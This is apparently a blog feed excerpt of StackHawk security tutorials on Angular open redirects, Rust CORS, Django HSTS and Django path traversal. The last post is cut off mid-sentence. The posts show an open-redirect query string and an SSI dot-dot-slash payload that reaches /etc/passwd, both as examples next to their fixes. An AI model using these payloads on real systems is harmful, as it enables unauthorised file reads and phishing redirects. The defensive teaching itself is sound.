&amp;#39;@angular/forms&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And add this inside your imports:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then, go inside your &lt;b&gt;reset-password.component.ts&lt;/b&gt; file, and add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s walk through what&amp;#39;s happening above. &lt;/p&gt;&lt;p&gt;Inside the &lt;b&gt;ngOnInit()&lt;/b&gt; function, you get the required query parameters from the URL. You need the token and the redirect link, so you save both to the component&amp;#39;s state variables. &lt;/p&gt;&lt;p&gt;You can also create two other variables, &lt;b&gt;newPassword&lt;/b&gt; and &lt;b&gt;confirmNewPassword&lt;/b&gt;, to bind them to your input fields. &lt;/p&gt;&lt;p&gt;Finally, you have a &lt;b&gt;handleSubmit()&lt;/b&gt; function. This fires when you submit the Reset Password form. &lt;/p&gt;&lt;p&gt;The other function, &lt;b&gt;handleRedirectAfterSubmit()&lt;/b&gt;, fires after you reset the password. It handles the redirection to the Home page. Remember, the redirection is dynamic in nature. This is because the redirected URL is fetched from the query parameters of the Password Reset page&amp;#39;s URL. &lt;/p&gt;&lt;p&gt;You also need to update the template to call these functions and bind the input fields: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;The Open Redirect Vulnerability&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s go to the URL &lt;b&gt;http://localhost:4200/resetPassword?token=123&amp;amp;next=home. &lt;/b&gt;You should see the Reset Password page with the form. If you now type in the passwords and hit the Submit button, the app should redirect you to the Home page. That&amp;#39;s because you take the redirect URL from the &lt;b&gt;next&lt;/b&gt; property inside your URL&amp;#39;s query parameter. You then use &lt;b&gt;window.location.href&lt;/b&gt; to change the URL to this new location. &lt;/p&gt;&lt;p&gt;But what happens when you go to this instead? &lt;b&gt;http://localhost:4200/resetPassword?token=123&amp;amp;next=https:%2F%2Fwww.google.com&lt;/b&gt; &lt;/p&gt;&lt;p&gt;If you now submit the form, the app redirects you to Google.com! This means your Angular application has an open redirect vulnerability. An attacker can change this URL to &lt;b&gt;attacker.com&lt;/b&gt; and redirect the user to her lethal website instead. &lt;/p&gt;&lt;h2&gt;Prevent Open Redirect in Angular&lt;/h2&gt;&lt;p&gt;There are a number of ways to detect and fix open redirects in your Angular application. In this case, you can simply write code that allows only client-side redirects. Inside your &lt;b&gt;reset-password.component.ts&lt;/b&gt;, you need to update your &lt;b&gt;handleRedirectAfterSubmit() &lt;/b&gt;function as shown below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;  //This function handles the redirect after password is reset
  handleRedirectAfterSubmit(){
    this.Route.navigateByUrl(this.redirectUrl)
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now go back to the route with changed &lt;b&gt;next&lt;/b&gt; property and hit the Submit button again, here&amp;#39;s what you&amp;#39;ll see: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Open Redirect fixed using client-side routing.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The app throws an error! This allows your site to redirect only to other client-side routes of your site. It disables all external redirects, thereby preventing your site from being a victim of the open redirect vulnerability. &lt;/p&gt;&lt;h3&gt;Safely Handle External Redirects&lt;/h3&gt;&lt;p&gt;There may be cases where you need to allow redirects to external websites. For instance, you may need to integrate third-party services for authentication and payments. In these situations, you&amp;#39;ll have to revert to the previous code that allowed redirects to external websites. &lt;/p&gt;&lt;p&gt;But then how do you get rid of the open redirect vulnerability? The best practice here is to keep a list of external websites you&amp;#39;ll possibly redirect to. This is a no-brainer, since you&amp;#39;ll always know what third-party services you&amp;#39;re using in your application. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say in this case you want to allow redirects to &lt;b&gt;https://www.google.com&lt;/b&gt; and &lt;b&gt;https://www.youtube.com&lt;/b&gt; but prevent redirects to &lt;b&gt;https://facebook.com&lt;/b&gt;. You can simply create an array that stores the URLs of the acceptable websites:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const allowedRedirects=[
  &amp;#39;https://www.google.com&amp;#39;,
  &amp;#39;https://www.youtube.com&amp;#39;
]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And before redirecting, you can figure out if the website you&amp;#39;re redirecting to is safe by checking its entry against your permitted list of redirects. Here&amp;#39;s how the updated &lt;b&gt;handleRedirectAfterSubmit()&lt;/b&gt; function looks: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  //This function handles the redirect after password is reset
  handleRedirectAfterSubmit(){
    //this.Route.navigateByUrl(this.redirectUrl)
    if(allowedRedirects.includes(this.redirectUrl))
    window.location.href=this.redirectUrl;
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now change the &lt;b&gt;next&lt;/b&gt; property to &lt;b&gt;https://www.google.com &lt;/b&gt;and click the Submit button, it redirects you to Google. However, if you change it to &lt;b&gt;https://www.facebook.com&lt;/b&gt;, Angular stalls you on the Reset Password page. &lt;/p&gt;&lt;p&gt;All this allows you to enable external redirects in your Angular application while still being safe from open redirects. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion and Exploring Further&lt;/h2&gt;&lt;p&gt;In this post, you learned all about open redirects and how to cure them in your Angular application. You can explore more solutions to combat open redirects. If you&amp;#39;re using a front-end framework, you should always try to use framework-specific solutions for any kind of redirections. &lt;/p&gt;&lt;p&gt;There&amp;#39;s lots more to learn on &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. You can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;create a free account&lt;/u&gt;&lt;/a&gt; or check out the &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;searchable blog&lt;/u&gt;&lt;/a&gt; to find out more about topics that matter to you. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Let&amp;#39;s say your Rust-language application queries or sends resources from (or to) servers other than the one hosting it. Every time this happens, a &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;cross-origin resource sharing (CORS)&lt;/a&gt; operation takes place. This ties in application programming interfaces and their methods as allowable verbs for your application&amp;#39;s browser to recognize and render.&lt;/p&gt;&lt;p&gt;This post explores how you can safely implement CORS in Rust-lang contexts. We&amp;#39;ll look at some errors commonly fired up by web browsers. We&amp;#39;ll explore why they appear and how you can resolve them. Overall, you should be capable of implementing a simple Rust CORS header for your applications.&lt;/p&gt;&lt;p&gt;Before we get into the technical implementation of Rust CORS, let&amp;#39;s sharpen your understanding of the concept. We&amp;#39;ll do this with examples, so you&amp;#39;ll understand why the effort is necessary.&lt;/p&gt;&lt;h2&gt;Understanding Rust Cross-Origin Resource Sharing&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Specific to the Rust programming language, we usually implement CORS on the &lt;b&gt;back end&lt;/b&gt; to &lt;b&gt;handle requests from apps&lt;/b&gt; written in different front-end languages. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The logic is simple. The web browser implements a security feature that enforces a containment of resource requests for the same origin: your server. This restriction happens even when your code specifies the intended origin or destination of each external transaction.&lt;/p&gt;&lt;p&gt;Typically, we use cross-origin resource sharing for the following reasons:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rendering fonts&lt;/b&gt; from external resources to make sure content looks good across (all) platforms&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Loading videos&lt;/b&gt; to stream from file-sharing platforms, such as Vimeo and YouTube&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Populating iframes&lt;/b&gt; with data from dynamic sources, such as news websites or social media profiles&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Typically, applications ask for these resources from their origins as though they&amp;#39;re in the same location with the application. The only difference between the requests is the domain.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Same-origin requests vs. cross-origin requests.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;From the illustration above, the same-origin request would look like this:&lt;/p&gt;&lt;p&gt;&lt;b&gt;https://localhost/someresource.rs&lt;/b&gt;&lt;/p&gt;&lt;p&gt;In contrast, the cross-origin request would take this form:&lt;/p&gt;&lt;p&gt;&lt;b&gt;https://somehost.com/resourcelocation/resource&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Unless you allow cross-origin requests when building Rust applications, the browser will always shut them down and paint your logs red with errors.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Rust CORS Errors&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Most CORS errors won&amp;#39;t specify the language on the back end. Instead, they give you hints through mentioning your requested resources, along with the specific reason for declining. Have a look at the following error, for example:&lt;/p&gt;&lt;p&gt;And here&amp;#39;s the request that causes this error:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the resource on &lt;b&gt;http://localhost:3000&lt;/b&gt; were on the same host as the document with this script, then that error would never pop up.&lt;/p&gt;&lt;p&gt;How would the developer solve this error?&lt;/p&gt;&lt;p&gt;He or she would have to specify a header with the Access-Control-Allow-Origin value. We&amp;#39;ll talk more about this implementation in the solutions section. For now, though, let&amp;#39;s look at another example as we gather evidence related to Rust CORS.&lt;/p&gt;&lt;p&gt;Another example of a Rust CORS-related error has to do with frameworks not covering all bases, as with Rocket back in 2017. It happened back then, and it happens even now sometimes, when you don&amp;#39;t apply patches. Have a look:&lt;/p&gt;&lt;p&gt;This error instance happens when your back end sends a request (OPTIONS) before the actual request. This furnishes the server with the type of verbs and parameters to match for successful cross-origin requests.&lt;/p&gt;&lt;p&gt;In this example, the &lt;b&gt;HTTP ok&lt;/b&gt; status failure simply tells the developer that once a request goes from the server to a destination, there&amp;#39;s no HTTP 200 status mirrored back. We&amp;#39;ll resolve this situation in the solutions section. For now, let&amp;#39;s look at some CORS operations or options you might encounter as you explore the error-fix matrix.&lt;/p&gt;&lt;h3&gt;Common CORS Operations&lt;/h3&gt;&lt;p&gt;These are the operations and header options associated with CORS.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Access-Control-Allow-Origin:&lt;/b&gt; As shown in the first error example, you&amp;#39;d use this option to give passage to a request outside the application&amp;#39;s domain server. You can embellish this as a header for specific scripts, or you can use it globally for all resources fetched externally.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Access-Control-Max-Age:&lt;/b&gt; You&amp;#39;d use this one to to grant access to permissions over a determined duration of time. &amp;quot;Max age&amp;quot; is typically one day, specified in seconds, 86400. You&amp;#39;ll get this operation in the error if the specified time has lapsed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Access-Control-Allow-Methods:&lt;/b&gt; This header option allows the default methods (PUT, GET, and so on) to send requests to an outside resource location.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;When these appear in error logs, it&amp;#39;s usually easy to implement them to a specific resource-hungry line of code. This way, you don&amp;#39;t open access to any other links that hackers maliciously planted at runtime.&lt;/p&gt;&lt;h2&gt;How to Enable CORS&lt;/h2&gt;&lt;p&gt;Now for solving the error examples and enabling Rust CORS.&lt;/p&gt;&lt;p&gt;As mentioned above, you can either give explicit CORS access to one block of code, or you can implement an application-wide solution. Either option works if your application has hooks planted in a lot of external resource servers.&lt;/p&gt;&lt;p&gt;Applying CORS on a line basis solves the first error instance.&lt;/p&gt;&lt;p&gt;&lt;code&gt;headers: {
&amp;#39;Access-Control-Allow-Origin&amp;#39;: &amp;#39;http://localhost:3000/&amp;#39;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You&amp;#39;d add the code above inside the Ajax script before allowing &lt;b&gt;crossDomain&lt;/b&gt; access. Doing this makes certain that whichever domain specified gets exemption from the CORS blockade.&lt;/p&gt;&lt;p&gt;In the second example, not getting an &lt;b&gt;HTTP ok&lt;/b&gt; response from the server is a suggestion that you enable CORS from the server side. Good coding etiquette demands that you apply permissions on the server, not the client. Otherwise, hackers can then add more of their own instructions and bypass all your security efforts.&lt;/p&gt;&lt;p&gt;Lucky for us, we don&amp;#39;t have to reinvent the wheel! Most such issues have remedies already. The best way to apply Rust CORS is by appending CORS-related crates as middleware to your projects. In all this, be sure to read the code. Be certain that it aligns with your specific CORS instances before you add it to any of your projects.&lt;/p&gt;&lt;h2&gt;Rust CORS Middleware&lt;/h2&gt;&lt;p&gt;The Crate registry has middleware that spells out the framework and instance for which each example applies. For the Rocket framework example,&lt;a href=&quot;https://yongwen.xyz/rocket_cors/rocket_cors/index.html&quot;&gt; this rocket cors crate&lt;/a&gt; has most of the ground covered. Essentially, it defines the headers, defines a fairing, and performs some tests on your behalf. This ensures safe and predictable behavior whenever your application asks for resources outside its server.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s a typical implementation of the &lt;b&gt;rocket_cors&lt;/b&gt; crate:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Essentially, adding the &lt;b&gt;rocket_cors&lt;/b&gt; cargo through your &lt;b&gt;Cargo.toml&lt;/b&gt; file allows you to call on its methods as libraries into your code.&lt;/p&gt;&lt;p&gt;In the example above, &lt;b&gt;use rocket_cors::{AllowedHeaders, AllowedOrigins}; &lt;/b&gt;means you will have declared the allowed headers and origins well in advance. Calling these on a page or section of your application overrides any CORS errors before they flag.&lt;/p&gt;&lt;p&gt;The beauty of such implementations is that you can also specify any additional resources, as with the &amp;quot;deserialized&amp;quot; snippet of the code above. Such declarations remain valid on the instances for which the new CORS variable appears, not globally.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Rust CORS and CI/CD&lt;/h2&gt;&lt;p&gt;At this point, we&amp;#39;ve explored (with examples) what CORS means in Rust applications. More important, however, is being able to cover all errors associated with CORS in the application&amp;#39;s test phase, before it hits production. And for this, it&amp;#39;s best to use tools like StackHawk.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; fits seamlessly in your CI/CD workflow to highlight parts of your code that may introduce security flaws and errors. This way, your developers get to resolve subtle code inconsistencies as your application versions. You can&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;create an account&lt;/u&gt;&lt;/a&gt; or&lt;a href=&quot;https://www.stackhawk.com/blog&quot;&gt; &lt;u&gt;search the blog&lt;/u&gt;&lt;/a&gt; for information you can use.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;i&gt;Taurai&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Let&amp;#39;s say you&amp;#39;ve scanned your website with a web security tool or received an email from a do-gooder who says you&amp;#39;re missing the HSTS header. At first, this may seem daunting, but it&amp;#39;s technically simple to resolve. All you need is to properly serve TLS traffic over HTTPS and then add a couple of headers to your website. And now you may be wondering what HSTS is and how you can add these headers in Django. Luckily, you landed here—because that&amp;#39;s exactly what this post is about. We&amp;#39;ll start with a quick overview of HSTS. After that, we&amp;#39;ll dive into how you can enable it for a Django app.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What Is HSTS?&lt;/h2&gt;&lt;p&gt;If you&amp;#39;re into reading IETF specifications, you can check out the&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6797&quot;&gt; &lt;u&gt;HSTS spec&lt;/u&gt;&lt;/a&gt; for yourself. They published it in 2012. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Members from PayPal, Google, and others designed HSTS as a mechanism for web servers to &lt;b&gt;direct user agents to use HTTPS only. &lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;With HSTS enabled, users cannot bypass any issues with the certificate either.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s a spoiler alert for you! The real reason for doing this is to protect cookies—especially session cookies—from being hijacked when and if the site is first loaded over HTTP. It does this by telling browsers (user agents or UAs) to immediately load the site using HTTPS even if the user only puts in the &amp;quot;http:&amp;quot; URI scheme rather than &amp;quot;https:&amp;quot;. Even if you redirect users from http to https, the initial hit is over plain text and the cookies can be seen by attackers.&lt;/p&gt;&lt;p&gt;An HSTS header is relatively simple. It looks like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security : max-age=3600 ; includeSubDomains&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The user agent will cache the HSTS policy for your domain for &lt;b&gt;max-age&lt;/b&gt; seconds. When the user visits your site, the browser will check for an HSTS policy. If it finds it, then boom! It uses HTTPS even if you went to http://example.com instead of https://example.com. Now, we&amp;#39;re going to focus on enabling HSTS in a Django app.&lt;/p&gt;&lt;h2&gt;How Do You Enable HSTS in a Django App?&lt;/h2&gt;&lt;p&gt;There are actually two main ways to enable HSTS headers in a Django app. First of all, you can add the headers via your server, reverse proxy, or gateway. With this approach, you don&amp;#39;t have to change any code or add middleware. In fact, I&amp;#39;d personally go this route first, especially since you probably need to update your TLS certs from time to time (TLS certs and HSTS are very closely related). Although this is my own preference, you and your organization might prefer other options. For example, let&amp;#39;s say you have access only to the Django app code and therefore need a way to do it in Django only. This is not a problem! You can use Django to add the HSTS headers too.&lt;/p&gt;&lt;h3&gt;Use Django to Add Headers&lt;/h3&gt;&lt;p&gt;Django has built-in middleware to handle adding the HSTS headers to all responses. All it takes is to add the settings to your server. The two main HSTS settings (shown below) have been there since version 1.8 (released in 2015) and they&amp;#39;ve pretty much remained unchanged.&lt;/p&gt;&lt;p&gt;&lt;code&gt;SECURE_HSTS_INCLUDE_SUBDOMAINS (False|True)
SECURE_HSTS_SECONDS (0|Integer)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Another setting was introduced in 1.11 not long after, and it authorizes the browser to preload the site in HTTPS.&lt;/p&gt;&lt;p&gt;&lt;code&gt;SECURE_HSTS_PRELOAD (False|True)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You have to be careful with this one since it can really screw up your users if your site isn&amp;#39;t ready to serve HTTPS for everyone. And, to properly enable preloading this way—hardcoded into a list in the browser—you have to&lt;a href=&quot;https://hstspreload.org/&quot;&gt; &lt;u&gt;submit your domain to the Chrome-managed list&lt;/u&gt;&lt;/a&gt;. That master list is used by all other major browsers as well.&lt;/p&gt;&lt;p&gt;Be warned! There are consequences to enabling this feature. If you have subdomains, clients, or partners who are relying on some HTTP-only webpages buried deep in the dusty recesses of a legacy app, they may get cut off from use for a long time. Hey, I&amp;#39;ve seen some strange things out there!&lt;/p&gt;&lt;h2&gt;Can&amp;#39;t Use a META in a Template&lt;/h2&gt;&lt;p&gt;Many headers can be passed via &lt;b&gt;meta http-equiv&lt;/b&gt; tags in a template. You can, for example, pass an &lt;b&gt;expires&lt;/b&gt; header in a template to tell the browser to cache the content until some future date. But with the HSTS headers, the specification strictly forbids user agents to accept such implementations. Here are the exact words in IETF RFC 6797 on HSTS:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6797#section-8.5&quot;&gt;&lt;u&gt;8.5&lt;/u&gt;&lt;/a&gt;.  HTTP-Equiv &amp;lt;Meta&amp;gt; Element Attribute
   UAs MUST NOT heed http-equiv=&amp;quot;Strict-Transport-Security&amp;quot; attribute
   settings on &amp;lt;meta&amp;gt; elements [W3C.REC-html401-19991224] in received
   content.&lt;/p&gt;&lt;p&gt;That&amp;#39;s it. No reason given, only that they must not honor the HSTS header if it&amp;#39;s set this way.&lt;/p&gt;&lt;h2&gt;Cautionary Tales and Recommendations&lt;/h2&gt;&lt;p&gt;First of all, the whole point of HSTS is to get the browser to just load your site over HTTPS, right? To enable that, you have to make sure your certificates are valid. Invalid certs pop up all over the place, and with HSTS they won&amp;#39;t fly! Your users will &lt;i&gt;not&lt;/i&gt; be able to bypass the invalid certificates. Heck, why would you want them to anyway? It&amp;#39;s not only insecure, but it&amp;#39;s a bad user experience. Nowadays, making valid certificates is easy and often comes at no cost.&lt;/p&gt;&lt;p&gt;Second, take extra care if you are using &lt;b&gt;includeSubdomains&lt;/b&gt;. Please make sure &lt;i&gt;all&lt;/i&gt; subdomains have valid certificates or that they&amp;#39;re included as subject alternate names (SANs) on your certificate. Alternately, you can use a wildcard certificate (*.yourdomain.com) to cover all subdomains if your security team is OK with that approach. This wildcard approach allows you to add subdomains without updating the certificate.&lt;/p&gt;&lt;p&gt;Third, the recommended approach for starting out with HSTS is to use a shorter max-age at first. Max-age directs the browser to cache the directive for that amount of time (in seconds) only. After &lt;b&gt;max-age&lt;/b&gt; seconds, the browser may load over HTTP once again. At that time, it may receive and cache the directive once again unless you&amp;#39;ve removed or altered it by then. Therefore, starting with a short max-age can help avoid problems.&lt;/p&gt;&lt;p&gt;After checking with a short max-age, you can bump it up over time until you&amp;#39;re certain there are no subdomains or clients that rely on the HTTP only endpoint for whatever reason. Chrome&amp;#39;s&lt;a href=&quot;https://hstspreload.org/&quot;&gt; &lt;u&gt;HSTS preload site&lt;/u&gt;&lt;/a&gt; recommends starting with 5 minutes, then upping it to a week, 30 days, and finally 2 years. With such a long expiration, the browser would basically force-load the site every time over HTTPS for two years before it can try HTTP again. An undiscovered problem with such a long max-age can be as bad—or worse—than getting stuck with an unintended permanent redirect. Eek!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;A Few Important Final Words&lt;/h2&gt;&lt;p&gt;The whole point of HSTS is to get the browser to keep users safe from themselves. Let&amp;#39;s say they&amp;#39;re hanging out on public WiFi. And worse, they&amp;#39;re connecting to your site using insecure, plain text HTTP because of a bookmark or an old link floating around somewhere. If they&amp;#39;ve been to your site over HTTPS recently, their browser will automatically go to HTTPS. Well, at least as long as it has an unexpired HSTS directive for your site in its cache.&lt;/p&gt;&lt;p&gt;If you have something that really needs to be secured, get on that preload list! That way, even if they haven&amp;#39;t been before, they&amp;#39;ll go to HTTPS anyway.&lt;/p&gt;&lt;p&gt;In general, you can implement HSTS headers on the web server or gateway if possible. Alternatively, add the settings values to your&lt;a href=&quot;https://docs.djangoproject.com/en/3.2/topics/settings/#security&quot;&gt; &lt;u&gt;settings file&lt;/u&gt;&lt;/a&gt;. Do make sure your certificates are in order, and proceed with caution, especially if choosing to pursue the preload option.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Phil Vuollet. Phil leads software engineers on the path to high levels of productivity. He writes about topics relevant to technology and business, occasionally gives talks on the same topics, and is a family man who enjoys playing soccer and board games with his children.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Django path traversal or directory traversal is a web security vulnerability that gives a remote attacker access to files and directories that are stored outside the specified folder to which the application grants access. The attacker can achieve this by manipulating the files with a “dot-dot-slash” (&lt;b&gt;../&lt;/b&gt;) sequence. Another name for path traversal is the “dot-dot-slash attack.” &lt;/p&gt;&lt;p&gt;Path traversal is also possible at the Django SSI template tag. It’s possible to manipulate the &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Server_Side_Includes&quot;&gt;&lt;u&gt;SSI&lt;/u&gt;&lt;/a&gt; template tag to gain access to arbitrary files stored in the system. In addition, this manipulation makes it possible for an attacker to know the folder structure of your application. This allows the attacker to copy, read, and modify files stored in these paths. Now, these files might include your application source code, credentials for back-end systems, sensitive information, and data. With this vulnerability, the attacker can sometimes take full control of the server. &lt;/p&gt;&lt;p&gt;In this post, we’ll look at some common examples of path traversal and ways to prevent each vulnerability. &lt;/p&gt;&lt;p&gt;Generally, path traversal can be divided into two categories: &lt;i&gt;information disclosure&lt;/i&gt; and &lt;i&gt;writing to arbitrary files&lt;/i&gt;. Directory traversal also is called directory climbing or backtracking. To understand path traversal better, let’s look at some of the causes of the vulnerability.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Causes of Path Traversal Attack in Django&lt;/h2&gt;&lt;p&gt;Some of the causes of path traversal in Django include the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Lack of URL checking&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Lack of relative path checking&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insufficient handling of a request path or URL&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Neglect to check the file name of an attachment&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Examples&lt;/h2&gt;&lt;p&gt;In this section, we’ll be looking at some examples of path traversal and how to prevent each. &lt;/p&gt;&lt;h3&gt;1. Using the SSI Template Tag&lt;/h3&gt;&lt;p&gt;An attacker can use the SSI template tag to have access to arbitrary files and directories in your server. Now, what is an SSI template tag? The SSI template tag in Django allows you to include files in a template by absolute path. For example, here’s how you can include a file in the template using the SSI template tag: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{% ssi /home/html/myImage.jpg %}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;ALLOW_INCLUDE_ROOTS&lt;/h4&gt;&lt;p&gt;Django’s configuration includes an &lt;b&gt;ALLOW_INCLUDE_ROOTS&lt;/b&gt; option that has a default value of an empty tuple &lt;b&gt;()&lt;/b&gt;. &lt;b&gt;ALLOW_INCLUDE_ROOTS&lt;/b&gt; contains a tuple of strings representing allowed prefixes for the SSI template tag. These prefixes are for security measures so that an attacker cannot have access to files on the server except for the ones whose prefixes are among the allowed prefixes in the &lt;b&gt;ALLOW_INCLUDE_ROOTS&lt;/b&gt; setting. &lt;/p&gt;&lt;p&gt;For instance, in your settings, if the value of &lt;b&gt;ALLOW_INCLUDE_ROOTS&lt;/b&gt; is set to &lt;b&gt;(/home/html, var/html)&lt;/b&gt;, and in your template, you state: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{% ssi /home/html/myImage.jpg %}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will work because the prefix of your &lt;b&gt;/home/html/myImage.jpg&lt;/b&gt; file is among the allowed prefixes that are in the &lt;b&gt;ALLOWED_INCLUDE_ROOTS&lt;/b&gt; settings. &lt;/p&gt;&lt;p&gt;However, say you try something like: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{% ssi /etc/passwd/credentials.txt %}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, this is never going to work because the above prefix is not in the &lt;b&gt;ALLOWED_INCLUDE_ROOTS&lt;/b&gt; settings. And that’s where a path traversal attack (or directory attack or dot-dot-slash attack) might come in handy to the attacker. &lt;/p&gt;&lt;p&gt;Using the dot-dot-slash sequence, an attacker might be able to get into the &lt;b&gt;/etc/passwd&lt;/b&gt; directory even though it’s not among the allowed prefixes. And why is that? For example, if the &lt;b&gt;/etc&lt;/b&gt; directory is in the same folder as the &lt;b&gt;/home&lt;/b&gt; directory, an attacker can use the dot-dot-slash to get into the &lt;b&gt;/etc&lt;/b&gt; folder, using the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{% ssi /home/html/../../etc/passwd %}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since the &lt;b&gt;/home/html&lt;/b&gt; prefix is among the allowed prefixes that we stated in the 